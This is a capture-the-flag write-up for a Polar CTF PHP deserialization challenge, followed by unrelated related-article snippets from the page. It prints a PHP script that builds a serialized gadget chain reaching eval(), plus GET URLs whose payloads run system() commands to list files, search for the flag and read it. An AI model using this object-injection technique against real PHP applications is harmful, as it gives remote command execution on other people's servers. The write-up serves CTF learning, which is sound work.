Polar Web【中等】反序列化
Polar Web【中等】反序列化
Contents
- Polar Web【中等】反序列化
- 思路&探索
- EXP
- PHP生成Payload
- GET传递参数
- 运行&总结
思路&探索
一个经典的反序列化问题,本文采用PHP代码辅助生成序列字符串的方式生成
Payload来进行手动渗透。
- 打开站点,分析PHP代码:
- 可以发现,需要实现触发命令执行的位置在
process类中的close函数的eval()处- 能够触发
close()调用的方式 —— 创建example实例,触发运行结束时__destruct()执行- 其中,使得成员变量
handle为所需要的process实例,便可形成完整的调用链- 按照上述思路,在本地拷贝两个类,并实现调用链,并调用
echo输出序列字符串在页面上,具体见下文图中- 按照站点提示,将序列字符串以
data参数进行GET传参:
- 初次使用
ls命令,发现已处在根目录下,并未发现flag,故考虑使用命令find / | grep flag,找出flag具体位置- 最后下达
cat /var/www/flag.php命令,虽没有直接回显,查看源码可获取flag

EXP
PHP生成Payload
<?phpclass process{public $pid;function close(){eval($this->pid);}}$a = new example();$a->handle = new process();// $a->handle->pid = "system('ls');";// $a->handle->pid = "system('find / | grep flag');";$a->handle->pid = "system('cat /var/www/html/flag.php');";echo serialize($a);
?>



GET传递参数
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:29:"system('find / | grep flag');";}}
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}
运行&总结

- 借用本经典的反序列化题目,记录如何用PHP代码辅助生成所需的序列字符串
- 找出合适的调用链,是为代码审计之要点
相关文章:
Polar Web【中等】反序列化
Polar Web【中等】反序列化 Contents Polar Web【中等】反序列化思路&探索EXPPHP生成PayloadGET传递参数 运行&总结 思路&探索 一个经典的反序列化问题,本文采用PHP代码辅助生成序列字符串的方式生成 Payload 来进行手动渗透。 打开站点,分析…...
测试工具链
缺陷管理 bug管理工具 devops---项目管理--缺陷管理 bug管理地址 https://devsecops.mychery.com:8443/chery/project?filterROLE&statusACTIVE bug管理环境 采用公司的devops平台,对每个项目的bug进行管理。目前在使用 接口测试和服务端性能测试 工具…...
【求助】ansible synchronize 问题
求助贴,不是解答贴哈 最近把一台服务器从centos7.9升级到alibaba cloud linux3之后,出现了一个ansible的问题。 版本是ansible8.3.0ansible-core-2.15.3,在使用synchronize模块时,我使用了别名(比如web1)会…...
sql server 把表的所有的null改为0,不要限制某列
DECLARE tableName NVARCHAR(256) Linear -- 替换为你的表名 DECLARE sql NVARCHAR(MAX) SELECT sql UPDATE tableName SET COLUMN_NAME 0 WHERE COLUMN_NAME IS NULL; FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME tableName AND TABLE_SCHEM…...
【C#】WinForm关闭新(二级)界面使主程序关闭
参考视频:https://www.bilibili.com/video/BV1JY4y1G7jo?p14&vd_source1c57ab1b2e551da5b65c0dfb0f05a493 1.背景介绍 主程序界面,点击弹出二级界面(同时隐藏主界面),不做任何设置,这时关闭二级界面…...
光伏电站绘制软件的基本方法
随着可再生能源的快速发展,光伏电站的建设日益受到重视。为了提高光伏电站设计的效率和准确性,光伏电站绘制软件的应用变得至关重要。本文将介绍光伏电站绘制软件的基本方法,包括绘制屋顶、屋脊、障碍物和参照物,铺设光伏板&#…...
【Python】selenium使用find_element时解决【NoSuchElementException】问题的方法
NoSuchElementException 是 Selenium WebDriver 中的一种异常,我们在写selenium.find_element 的时候也比较常见,它会在我们要尝试定位一个不存在的元素时抛出这类错误。 以下是一些解决NoSuchElementException 的常用方法: 检查元素定位器:…...
oracle表锁
--oracle提醒记录被另一个用户锁住: --问题描述:你去修改数据时,报错“ --问题分析:你用select t.*,t.rowid from qxt_logsend_0728修改数据结果集时,计oracle会通过事务锁锁住这个记录,点击记录改变&#…...
父组件调用子组件方法(组合式 API版)
在 Vue 3 中,defineExpose 是一个用于在组合式 API (Composition API) 中暴露组件内部方法或属性的函数。它允许父组件通过 ref 引用子组件实例,并调用子组件暴露的方法或访问其属性。 以下是子组件和父组件如何使用 defineExpose 和 ref 的详细解释和示…...
【动手学深度学习】使用块的网络(VGG)的研究详情
目录 🌊1. 研究目的 🌊2. 研究准备 🌊3. 研究内容 🌍3.1 多层感知机模型选择、欠拟合和过拟合 🌍3.2 练习 🌊4. 研究体会 🌊1. 研究目的 理解块的网络结构;比较块的网络与传统…...
JFinal学习07 控制器——接收数据之getBean()和getModel()
JFinal学习07 控制器——接收数据之getBean()和getModel() 视频来源https://www.bilibili.com/video/BV1Bt411H7J9/?spm_id_from333.337.search-card.all.click 文章目录 JFinal学习07 控制器——接收数据之getBean()和getModel()一、接收数据的类型二、getBean()和getModel()…...
二百三十九、Hive——Hive函数全篇
--创建测试数据库test show databases ; create database if not exists test; use test;一、关系运算 1、等值比较: select 1 where 1 1; --1 select 1 where 0 1; --NULL 2、不等值比较:<> select 1 where 1 <> 2; --1 sele…...
视频去水印电脑版,视频去水印软件
视频去水印怎么去,一直是视频编辑者们的热门话题。那么,如何去除频水印呢?接下来,我们将为您详细介绍视频去水印方法。 第一种方法: 首先通过浏览器打开 “ 51视频处理官网” 的网站。打开网站后,我们上传…...
北邮21硕后端开发笔记
blog 整理北邮21渣硕Java后端开发知识网络,阅读笔记以及技术博客,持续更新!欢迎Star! GitHub: https://github.com/WeiXiao-Hyy/blog Java 基础篇 一文带你搞懂final关键字 Java并发编程 fucking-java-concurrency解读你真…...
【Linux】系统优化:一键切换软件源与安装Docker
引言 在Linux系统安装完成后,进行一些必要的初始化设置是提升系统性能和用户体验的关键。本文将重点介绍两个实用的一键脚本:LinuxMirrors提供的软件源切换脚本和Docker安装脚本。这两个脚本将帮助我们简化配置安装过程。 一键切换软件源脚本 在Linux…...
【集装箱调度】基于粒子群算法实现考虑重量限制和时间约束的集装箱码头满载AGV自动化调度附matlab代码
% 交叉定位 - 最小二乘法定位算法模拟 % 参数设置 numIterations 1000; % 模拟迭代次数 maxDistance 1000; % 最远定位距离(设定范围) speedOfSound 343; % 声速(单位:m/s) % 预警机坐标 source [0, 0]; % 初始…...
使用 ESP32 和 PlatformIO (arduino框架)实现 Over-the-Air(OTA)固件更新
使用 ESP32 和 PlatformIO 实现 Over-the-Air(OTA)固件更新 摘要: 本文将介绍如何在 ESP32 上使用 PlatformIO 环境实现 OTA(Over-the-Air)固件更新。OTA 更新使得在设备部署在远程位置时,无需物理接触设…...
学习笔记——路由网络基础——汇总静态路由
4、汇总静态路由 (1)定义 静态路由汇总:多条静态路由都使用相同的送出接口或下一跳 IP 地址。(将多条路由汇总成一条路由表示) (2)目的 1.减少路由条目数量,减小路由表,加快查表速度 2.增加网络稳定性 (3)路由黑洞以及路由环路的产生…...
这10个python库,下载都超过5亿
python的库数不胜数。哪些库使用得最多呢。今天分享10个下载都超过5亿的python库。从高到低排序 第一名:Urllib3 下载次数:8.93亿次 介绍:Urllib3是一个功能强大且用户友好的HTTP客户端库,提供了许多Python标准库中没有的特性&…...
Vue3【十一】08使用toRefs和toRef
08使用toRefs和toRef toRefs()函数将person对象中的name和age属性转换为响应式引用,并返回一个对象,对象中的name和age属性都是响应式引用,具有响应式功能。 toRef()函数将person对象中的name属性转换为响应式引用,并返回一个响应…...
hermes-webui可视化网页界面及cron定时任务配置示范
前期准备 执行git clone https://github.com/nesquena/hermes-webui.git 建议先安装hermes-agent,可参考保姆级 Hermes-Agent 部署:OpenClaw 迁移 微信接入 ComfyUI 联动画图全流程(含报错处理) 执行cd Desktop/work/hermes-w…...
别只盯着SQL了!GaussDB健康度巡检,这5个‘外围’命令和日志文件更重要
别只盯着SQL了!GaussDB健康度巡检,这5个‘外围’命令和日志文件更重要 当数据库出现性能波动时,大多数DBA的第一反应是检查慢SQL或调整参数。但根据某金融客户的生产环境统计,超过60%的数据库故障其实源于日志溢出、网络闪断或备份…...
计算机毕业设计:Python医疗文本挖掘与可视化决策平台 Flask框架 随机森林 机器学习 疾病数据 智慧医疗 深度学习(建议收藏)✅
博主介绍:✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业项目实战6年之久,选择我们就是选择放心、选择安心毕业✌ > 🍅想要获取完整文章或者源码,或者代做,拉到文章底部即可与…...
计算机毕业设计:Python智慧医疗数据可视化与疾病预测系统 Flask框架 随机森林 机器学习 疾病数据 智慧医疗 深度学习(建议收藏)✅
博主介绍:✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业项目实战6年之久,选择我们就是选择放心、选择安心毕业✌ > 🍅想要获取完整文章或者源码,或者代做,拉到文章底部即可与…...
Shinkai Node:无代码AI智能体平台架构解析与实战部署
1. 项目概述:Shinkai Node,一个无需代码的AI智能体构建平台 最近在折腾AI智能体(AI Agent)的时候,发现了一个挺有意思的开源项目—— Shinkai Node 。它来自dcSpark团队,核心目标非常明确: …...
别再只盯着原理图了!用Python+OpenCV动手模拟激光三角测距(斜射/直射对比)
用PythonOpenCV模拟激光三角测距:斜射与直射的实战对比 激光三角测距技术听起来高大上,但真正理解它的精髓往往需要跳出公式推导的泥潭。作为一名长期在工业检测领域摸爬滚打的技术人员,我发现用代码模拟物理过程是最有效的学习方式。本文将…...
降AI提示词大全!10个prompt让AI输出人类味+嘎嘎降AI兜底!
降AI提示词大全!10个prompt让AI输出人类味嘎嘎降AI兜底! 用 ChatGPT、DeepSeek、Kimi、豆包写论文最大的痛是:写得快但被检测判 AI、改起来比自己写还累。其实在写作环节就能预防一部分 AI 痕迹,靠的是会写降 AI 提示词。 这篇先给…...
别再死记公式了!用Python+LTspice快速搞定LC滤波器设计(附仿真文件)
用PythonLTspice实现LC滤波器设计的工程化实践 在传统电子工程教学中,LC滤波器设计往往陷入繁琐的公式推导和手工计算泥潭。当学生终于理解完所有理论公式,准备动手实践时,却发现自己被复杂的参数计算和反复的电路调试所困扰。这种理论与实践…...
终极视频字幕提取指南:如何用本地OCR工具高效提取87种语言硬字幕
终极视频字幕提取指南:如何用本地OCR工具高效提取87种语言硬字幕 【免费下载链接】video-subtitle-extractor 视频硬字幕提取,生成srt文件。无需申请第三方API,本地实现文本识别。基于深度学习的视频字幕提取框架,包含字幕区域检测…...
